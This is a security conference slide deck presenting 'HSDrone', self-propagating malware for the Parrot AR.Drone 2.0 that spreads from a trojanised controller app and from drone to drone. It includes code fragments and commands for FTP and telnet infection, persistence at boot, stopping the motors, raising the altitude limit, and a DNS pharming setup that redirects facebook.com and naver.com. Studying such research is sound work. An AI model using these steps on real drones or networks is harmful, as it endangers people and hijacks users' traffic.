

# Automatic attack on drones by malware infection

SEWORKS INC. CTO  
WOWHACKER TEAM  
Dongcheol Hong  
[hinehong@seworks.co.kr](mailto:hinehong@seworks.co.kr)

Drone malware attack

# **INFORMATION**

# Speaker Bio

- SEWORKS Inc. Chief Technology Officer
  - Develops the Anti-Decompiler and Anti-Reverse Engineering Tool for Android applications.
- WOWHACKER Admin.
  - Qualified 5 times for Defcon CTF hacking contest finals.
  - Organized Secuinside, Codegate, ISEC hacking contests.
- Made Android and Windows mobile antivirus applications in 2009.
- Presented on many security conferences like Secuinside and Hitcon.

# Abstract

- Recently, there are many drone system existing in the world.
- People think that Drone can only be hacked using network attacks.
- Drone systems are developing rapidly.
- Let's look at the worldwide famous drone - AR.Drone 2.0
- We can infect a malware called "HSDrone" to the AR.Drone 2.0, spread malware to other drones, and control all of them.

Drone malware attack

# **ABOUT THE DRONE MALWARE**

# Communication

- A lot of old drone systems communicate through radio frequency.
- Difficult to spread malwares via radio frequency communication.
- However, drone systems are becoming more developed, and WIFI connection is now used widely in the today's world.
- WIFI connection is convenient but people needs to consider about its security.

# How are drone systems upgraded

- Network
  - WIFI control
  - GPS System
  - Try to control by internet access
- Smart device
  - Control by smart device(Android, iOS)

# AR. Drone 2.0

- Parrot AR. Drone 2.0 is commonly used and widely spread drone in the world.
- Can connect with smart devices.
- Can be controlled by WIFI connection with a smart device.





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# **INSIDE THE AR.DRONE**


# WIFI

- AR. Drone uses WIFI connection.



# AR.Drone Controller

- AR. Drone is controlled by smart device's App.



# Telnet

- The AR.Drone is running a Telnet daemon.


```
Trying 192.168.1.1...  
Connected to 192.168.1.1.  
Escape character is '^]'.  
  

```

```
BusyBox v1.14.0 () built-in shell (ash)  
Enter 'help' for a list of built-in commands.
```

# FTP

- The AR.Drone is running a FTP daemon.
- Basic directory is /data/video



리모트 사이트: /

boxes

파일명	크기	파일 유형	최종 수정	권한	소유자/그룹
..					
boxes		File folder	2000-01-01	drwxr-xr-x	00
police-notice.html.gz	48,186	GZ File	2000-01-01	-rw-r--r--	00

```
# ls -l /data/video/
drwxr-xr-x  2 root  root    160 Jan  1  2000 boxes
-rw-r--r--  1 root  root  48186 Jan  1  2000 police-notice.html.gz
#
```

# program.elf

- `/bin/program.elf` is an important file.
- Motor will be stopped when `program.elf` process is killed using `/bin/kk`

```
789 root      1676 S    /bin/bashproxy /tmp/.bashproxyfifo.in /tmp/.bashproxy
819 root      2824 S    inetd
820 root      2736 S    /bin/sh /bin/program.elf.respawner.sh -360p.slices 0
823 root      84532 S   /bin/program.elf -360p.slices
824 root      2736 S    init
825 root      2736 S    init
826 root      2736 S    /sbin/syslogd -n -m 0
827 root      2736 S    /sbin/klogd -n
```

```
# kk
Killing program.elf !
```

# Network

- Network
- Atheros chipset : ath0

```
# iwconfig
lo          no wireless extensions.

ath0       AR6000 802.11ng  ESSID:"ardrone2_017229"  Nickname:""
           NWID:off/any  Mode:Master  Frequency:2.412 GHz
           Access Point: 90:03:B7:CD:03:ED  Bit Rate:58.5 Mb/s  Tx-Power=15 dBm
           Sensitivity=0/3
           RTS thr=0 B  Fragment thr=0 B
           Encryption key:off
           Power Management:off
           Link Quality:95  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0  Missed beacon:0
```

```
# cat wireless
Inter-| sta-|   Quality   |   Discarded packets   | Missed | WE
face  | tus  | link level noise | nwid crypt frag retry  misc | beacon | 22
ath0: 0001  95    0    0    |    0    0    0    0    |    0    |
```

# Session profile

```
# pwd
/data/custom.configs/sessions
# ls -l
-rw-r--r--  1 root    root      1076 Jan  1  2000 config.045e0e10.ini.old
-rw-r--r--  1 root    root      1076 Jan  1  2000 config.0aeab58c.ini.old
-rw-r--r--  1 root    root      1076 Apr 23 15:05 config.0b2eed12.ini.old
-rw-r--r--  1 root    root      1076 Apr 23 15:14 config.0b6444c2.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:27 config.2161cfb1.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:33 config.21ba0819.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:37 config.21c5d41b.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:37 config.22029bb6.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:39 config.22171fe6.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:49 config.22b82d92.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 16:57 config.232de3ff.ini.old
-rw-r--r--  1 root    root      1076 Jun 11 17:02 config.237ad3b3.ini
-rw-r--r--  1 root    root      1076 Jun 11 17:02 config.237ad3b3.ini.old
-rw-r--r--  1 root    root      1076 May  2 19:20 config.259cf60a.ini.old
```



# Open source project

- It has an open source project but this project is neither supported nor endorsed by Parrot S.A.
- <https://github.com/ardrone/ardrone>

# Decompile on Android App

```
@SuppressWarnings("NewApi")
private class GetLocationAsyncTask extends AsyncTask<String, Void, LatLng>
{
    private boolean fromSearch;

    protected GetLocationAsyncTask(boolean arg2)
    {
        boolean bool;
        this.fromSearch = bool;
    }

    protected LatLng doInBackground(String[] paramArrayOfString)
    {
        AcademyMapActivity.access$2902(AcademyMapActivity.this, null);
        boolean bool1 = Geocoder.isPresent();
        LatLng localLatLng = null;
        if (bool1);
        try
        {
            List localList2 = AcademyMapActivity.this.geocoder.getFromLocationName(paramArrayOfString[0], 1);
            localObject = localList2;
            localLatLng = null;
            if (localObject != null)
            {
                boolean bool2 = ((List)localObject).isEmpty();
                localLatLng = null;
                if (!bool2)
                {
                    AcademyMapActivity.access$2902(AcademyMapActivity.this, (Address)((List)localObject).get(0));
                    localLatLng = new LatLng(AcademyMapActivity.this.address.getLatitude(), AcademyMapActivity.this.address.getLongitude());
                }
            }
        }
        return localLatLng;
    }
}
```

Drone malware attack

# **HSDRONE MALWARE**

# Development Environment

AR. Drone 2.0 two

GPS

Beagle board

Laptop



# Processor information

- ARM processor
- Have to compile ARM

```
# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 2 (v7l)
BogoMIPS       : 996.74
Features        : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part       : 0xc08
CPU revision    : 2

Hardware       : mykonos2 board
Revision      : 0006
Serial        : 0000000000000000
```

# Network

- drone has to scan other drones.
- Master mode can not scan wireless networks.

```
# iwlist scan
lo          Interface doesn't support scanning.

ath0       Interface doesn't support scanning : Operation not supported
```

```
# iwconfig
lo          no wireless extensions.

ath0       AR6000 802.11ng  ESSID:"ardrone2_017229"  Nickname:""
           NWID:off/any  Mode:Master  Frequency:2.437 GHz
           Access Point: 90:03:B7:CD:03:ED  Bit Rate:58.5 Mb/s  Tx-Power=15 dBm

           Sensitivity=0/3
           RTS thr=0 B  Fragment thr=0 B
           Encryption key:off
           Power Management:off
           Link Quality:95  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0  Missed beacon:0
```

# How to infect drone 1

## Smart Device to Drone




1. Fake App can infect drone

2. Attacker can infect from smart device at the drone's networks area.



Infect




Drone

Drone  
malware

# How to infect drone 2

## Drone to Drone


normal drones will be infected if a infected drone enters to the normal drone's network area.





# Activity

1. Copy and replicate itself
2. Motor stop
3. GPS
4. DNS Pharming



Drone malware attack

# **HOW TO INFECT - 1 FROM SMART DEVICE**

# Controller App modification

- Recently, a lot of android apps are modified by cracker.
- AR. Drone 2.0 can be controlled by smartphone app.
- Cracker modifies the control app and upload on the internet.
- Medium of Spread – internet, SMS, E-mail, market, etc.
- Drone is infected when a person uses the fake app.


# Controller App modification

- We can modify and repackage applications by freeware called Apktool.

```
C:\Users\홍\Documents\기사\medusah\apktool1.5.2>java -jar apktool.jar d sguard.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: C:\Users\홍\apktool\framework\1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
```

# Controller App modification

- Smali code



```
ActivityCompat.smali - Notepad
File Edit Format View Help
|.class public Landroid/support/v4/app/ActivityCompat;
.super Landroid/support/v4/content/ContextCompat;
.source "ActivityCompat.java"

# direct methods
.method public constructor <init>()V
    .locals 0

    .prologue
    .line 27
    invoke-direct {p0}, Landroid/support/v4/content/ContextCompat;-><init>()V

    return-void
.end method

.method public static invalidateOptionsMenu(Landroid/app/Activity;)Z
    .locals 2
    .parameter "activity"
```

# Android malware

- Using thread for network communications

```
public class MyAsyncTask extends AsyncTask
```

- AR. Drone 2.0 IP is 192.168.1.1

```
String ip = "192.168.1.1";
```

# FTP upload 1

- FTP connection

```
ftpclient = new FTPClient();  
ftpclient.connect(ip,21); //
```

- File copy

```
fileCopy(av, "hsdrone", "hsdrone");  
fileCopy(av, "cmdftp", "cmdftp");  
fileCopy(av, "boot", "boot");
```

```
File outDir = new File("/data/data/com.ar.arflight/files"); //files  
outDir.mkdirs();
```

```
try  
{  
    is = av.getAssets().open(before_name);  
  
    int size = is.available();  
    byte[] buffer = new byte[size];  
    File outfile = new File(outDir + "/" + name);  
    fos = new FileOutputStream(outfile);  
    for (int c = is.read(buffer); c != -1; c = is.read(buffer)){  
        fos.write(buffer, 0, c);  
    }  
}
```



Asset file

# FTP upload 2

- FTP upload

```
ftpclient.changeWorkingDirectory("/data/data/com.ar.arflight/files");  
//sedrone file setting  
File uploadFile = new File("/data/data/com.ar.arflight/files/hsdrone");  
File uploadFile2 = new File("/data/data/com.ar.arflight/files/cmdftp");  
File uploadFile3 = new File("/data/data/com.ar.arflight/files/boot");  
  
fis = new FileInputStream(uploadFile);  
fis2 = new FileInputStream(uploadFile2);  
fis3 = new FileInputStream(uploadFile3);  
System.out.println("start trans");  
//file upload  
ftpclient.storeFile("hsdrone", fis);  
ftpclient.storeFile("cmdftp", fis2);  
ftpclient.storeFile("boot", fis3);
```



# Telnet

- Connection telnet

```
sock = new Socket(ip, 23);  
in = sock.getInputStream();  
out = sock.getOutputStream();
```

- Command

```
pw.println("mkdir /data/video/hinehong");  
pw.flush();  
pw.println("mv /data/video/hsdrone /data/video/hinehong/hsdrone");  
pw.flush();  
pw.println("mv /data/video/cmdftp /data/video/hinehong/cmdftp");  
pw.flush();  
//permission setting  
pw.println("chmod 755 /data/video/hinehong/*");  
pw.flush();  
//excute  
pw.println("/data/video/hinehong/hsdrone");  
pw.flush();|
```

# Malware

- Inside of drone.

```
# pwd
/data/video/hinehong
# ls
cmdftp  hsdrones
#
```

Drone malware attack

# **HOW TO INFECT - 2 DRONE TO DRONE**

# Scanning

- Change network to "managed" mode.

```
mode managed
```

- Drone repeat scan to other drones using fork function.

```
while (-1) {  
    /** error handling **/  
    if ((pid = fork()) < 0 ) {  
        printf ("fork failed with error code= %d\n", pid);  
        exit(0);  
    }  
    /** this is the child of the fork **/  
    else if (pid ==0) {  
        scanning_drone();  
        sleep(3); //second  
        exit(0);  
    }  
}
```

# Connect to other drone

- Connect if other AR.Drone's AP exists

```
char connect_cmd2[100] = "; ifconfig ath0 192.168.1.100 netm  
char connect_cmd2[100] = "; ifconfig ath0 192.168.100.102 ne:  
  
strcat(connect_cmd,target_essid);  
strcat(connect_cmd,connect_cmd2);  
printf("%s",connect_cmd);  
  
system(connect_cmd);
```

# Connect to other drone

- Drone succeeds connecting to another drone's AP

```
# iwconfig
lo          no wireless extensions.

ath0       AR6000 802.11ng  ESSID:"ardrone2_039503"  Nickname:""
           NWID:off/any  Mode:Managed  Frequency:2.437 GHz
           Access Point: 90:03:B7:EB:3A:9E  Bit Rate:58.5 Mb/s   Tx-Power=15 dBm
           Sensitivity=0/3
           Retry:on    RTS thr=0 B   Fragment thr=0 B
           Encryption key:off
           Power Management:off
           Link Quality:22/94  Signal level:-73 dBm  Noise level:-96 dBm
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0  Missed beacon:0
```

```
# ifconfig
ath0       Link encap:Ethernet  HWaddr 90:03:B7:CD:03:ED
           inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0
           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
           RX packets:713 errors:0 dropped:0 overruns:0 frame:0
           TX packets:1976 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000
           RX bytes:181308 (177.0 KiB)  TX bytes:164003 (160.1 KiB)
```

# Boot

- Malware has to execute in the boot-up sequence.

```
/bin/init_gpios.sh  
/bin/check_update.sh  
/data/video/hinehong/hsdrone
```

```
# ps | grep hsdrone  
 843 root      1464 S      /data/video/hinehong/hsdrone  
1423 root      1600 S      /data/video/hinehong/hsdrone  
1428 root      2740 S      grep hsdrone  
#
```

# Action

- Repeat until attacker drone scans to other drones.
- Connect to AR.Drone's AP if found.
- FTP upload itself.
- Telnet connection.
- Permission setting(execute).
- boot setting.



# FTP upload itself

- FTP login to other drone.

```
int manual_login(void) {
    printf("Username: ");
    // if (!(user = readline(0, 1))) return 0;
    user = "root";

    cmdftp_pwd_start(); printf("Password: ");
    // pass = readline(0, 0);
}
```

- Upload itself

```
char* cmd;
print_prompt();
if(!dispatch(cmd = "u sedrone /")) return 0;
free(cmd);
```

Reference was Cmdftp source.

Drone malware attack

# **ACTIVITY**

# Command

- HSDrone connect socket.

```
portno = 23;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
    perror("ERROR opening socket");
server = gethostbyname("192.168.1.1");
if (server == NULL) {
    fprintf(stderr, "ERROR, no such host\n");
    exit(0);
}
```

# Command

- Make a directory

```
buffer[256] = "mkdir /data/video/hinehong"
```

- Copy

```
buffer2[256] = "cp /data/video/hsdrones /data/video/hinehong/hsdrones"
```

```
buffer3[256] = "cp /data/video/cmdftp /data/video/hinehong/cmdftp"
```

- Permission setting

```
buffer4[256] = "chmod 755 /data/video/hinehong/*"
```

# Command

- kk
  - Motor will be stopped.

```
buffer5[256] = "kk"
```

- Change to mode master

# AT Commands

- Drone command using UDP 5556 port

```
AT*PCMD_MAG=21625,1,0,0,0,0,0,0<CR>AT*REF=21626,290717696<CR>  
AT*PCMD_MAG=xx,xx,-1085485875,xx,xx,xx,xx.
```

```
udp      0      0 0.0.0.0:5554      0.0.0.0:*  
udp      0      0 0.0.0.0:5555      0.0.0.0:*  
udp      0      0 0.0.0.0:5556      0.0.0.0:*  
udp      0      0 0.0.0.0:67        0.0.0.0:*  
udp      0  3312 0.0.0.0:14551     0.0.0.0:*
```

# AT Commands

- We can see the developer guide on this command information.

AT command	Arguments <sup>1</sup>	Description
AT*REF	input	Takeoff/Landing/Emergency stop command
AT*PCMD	flag, roll, pitch, gaz, yaw	Move the drone
AT*PCMD_MAG	flag, roll, pitch, gaz, yaw, psi, psi accuracy	Move the drone (with Absolute Control support)
AT*FTRIM	-	Sets the reference for the horizontal plane (must be on ground)
AT*CONFIG	key, value	Configuration of the AR.Drone 2.0
AT*CONFIG_IDS	session, user, application ids	Identifiers for AT*CONFIG commands
AT*COMWDG	-	Reset the communication watchdog
AT*CALIB	device number	Ask the drone to calibrate the magnetometer (must be flying)

# Configuration

- Altitude max : drone will be 100000 (100 meters from the ground)
- We can fly to some GPS location with no obstacle

```
AT*CONFIG=605,"control:altitude_max","3000"
```

```
AT*CONFIG=605,"control:altitude_max", "100000"
```



# tcpdump

- Install tcpdump on drone.
- We can capture the network packet after that.
- 192.168.1.5 is controller's IP.

```
# tcpdump -w /tmp/ardrone.log host 192.168.1.5
tcpdump: listening on ath0, link-type EN10MB (Ethernet), capture size 65535 bytes
s
```

# Packet capture

The image shows a Wireshark 1.10.8 window titled "tcp.log [Wireshark 1.10.8 (v1.10.8-2-g52a5244 from master-1.10)]". The filter is set to "udp". The packet list shows several "ar\_dror" packets from 192.168.1.5 to 192.168.1.1. The selected packet (No. 2680) is expanded to show its structure: Ethernet II, Internet Protocol Version 4, User Datagram Protocol, and AR Drone Packet. The AR Drone Packet details include Command: PCMD\_MAG and Sequence Number: MAG=41. The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
2680	117.159882	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2719	117.185791	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2764	117.330994	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2769	117.340454	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2787	117.363373	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2826	117.497498	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2827	117.500153	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2828	117.500366	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2829	117.500458	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2830	117.500519	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2854	117.516113	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet
2880	117.541901	192.168.1.5	192.168.1.1	ar_dror	91	AR Drone Packet

Frame 2680: 91 bytes on wire (728 bits), 91 bytes captured (728 bits)

- Ethernet II, Src: Apple\_23:0f:5e (dc:86:d8:23:0f:5e), Dst: Parrot\_cd:03:ed (90:03:b7:cd:03:ed)
- Internet Protocol Version 4, Src: 192.168.1.5 (192.168.1.5), Dst: 192.168.1.1 (192.168.1.1)
- User Datagram Protocol, Src Port: freeciv (5556), Dst Port: freeciv (5556)
- AR Drone Packet
  - Command: PCMD\_MAG
    - Sequence Number: MAG=41

```
0000 90 03 b7 cd 03 ed dc 86 d8 23 0f 5e 08 00 45 e0 ..... .#.^.E.
0010 00 4d eb 2b 00 00 40 11 0b 3e c0 a8 01 05 c0 a8 .M+.@.>.....
0020 01 01 15 b4 15 b4 00 39 17 4b 41 54 2a 50 43 4d .....9 .KAT*PCM
0030 44 5f 4d 41 47 3d 34 31 2c 30 2c 30 2c 30 2c 30 D_MAG=41 ,0,0,0,0
0040 2c 30 2c 30 2c 30 0d 41 54 2a 52 45 46 3d 34 32 ,0,0,0.A T*REF=42
0050 2c 32 39 30 37 31 37 36 39 36 0d ,2907176 96.
```

# GPS

- AR. Drone 2.0 is supports GPS.
- If we click a point to GPS on the smart device, drone will go to that place.
- The user can go back to the GPS registered "home" by pressing the "home" button.
- Infected drones will come to my real home if there isn't any obstacle.

# GPS



# DNS Pharming

- Drones can change some vulnerable AP's DNS during the fly.

# AP

Select SSID:

---

Security Mode:

Allow PCs on the same wireless network name (SSID) to see each other:

No encryption  
Default password

**Local Router Access**

Use HTTPS:  Enabled  Disabled

Allow Wireless Web Access:  Enabled  Disabled

Access administrator mode from wireless

# DNS Server change

- Can change DNS on Administrator mode

User Defined DNS Servers

DNS IP Address 1:  .  .  .

DNS IP Address 2:  .  .  .

# dnsmasq

```
[root@hongtech ~]# yum install dnsmasq
Loaded plugins: refresh-packagekit
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
--> Package dnsmasq.i386 0:2.46-2.fc10 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

=====
Package                Arch          Version        Repository      Size
=====
Updating:
dnsmasq                 i386          2.46-2.fc10    updates         176 k
=====

Transaction Summary
=====
Install      0 Package(s)
Update      1 Package(s)
Remove      0 Package(s)
```



# dnsmasq

- /etc/dnsmasq.conf
- 8.8.8.8 is Google DNS Server

```
no-dhcp-interface=  
server=8.8.8.8  
  
no-hosts  
addn-hosts=/etc/dnsmasq.hosts
```



```
221.143.48.122 www.facebook.com  
221.143.48.122 www.naver.com
```

# DNS

```
[root@hongtech ~]# dnsmasq --no-daemon --log-queries
dnsmasq: started, version 2.46 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus no-Idn TFTP
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 168.126.63.2#53
dnsmasq: using nameserver 168.126.63.1#53
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: read /etc/dnsmasq.hosts - 2 addresses
dnsmasq: query[A] www.facebook.com from 221.143.48.123
dnsmasq: /etc/dnsmasq.hosts www.facebook.com is 221.143.48.122
```

```
[root@hongtech ~]# dig @168.126.63.1 +short www.facebook.com
star.c10r.facebook.com.
31.13.68.33
[root@hongtech ~]# dig @221.143.48.123 +short www.facebook.com
221.143.48.122
```

# Pharming



# Result

- Drone malware (HSDrone that I've made) can spread through wireless networks.
  - Smart Device to Drone
  - Drone to Drone
- Can control other drone UDP network command.
- Malware can attack AP DNS Pharming.
- Drone malwares like this one could spread and attack your computers, APs, smart devices, drones, and everything in the future.
- It is dangerous, drone has an advantage of having physical distance for the attack to be done.

Thank you.

Dongcheol Hong  
hinehong@seworks.co.kr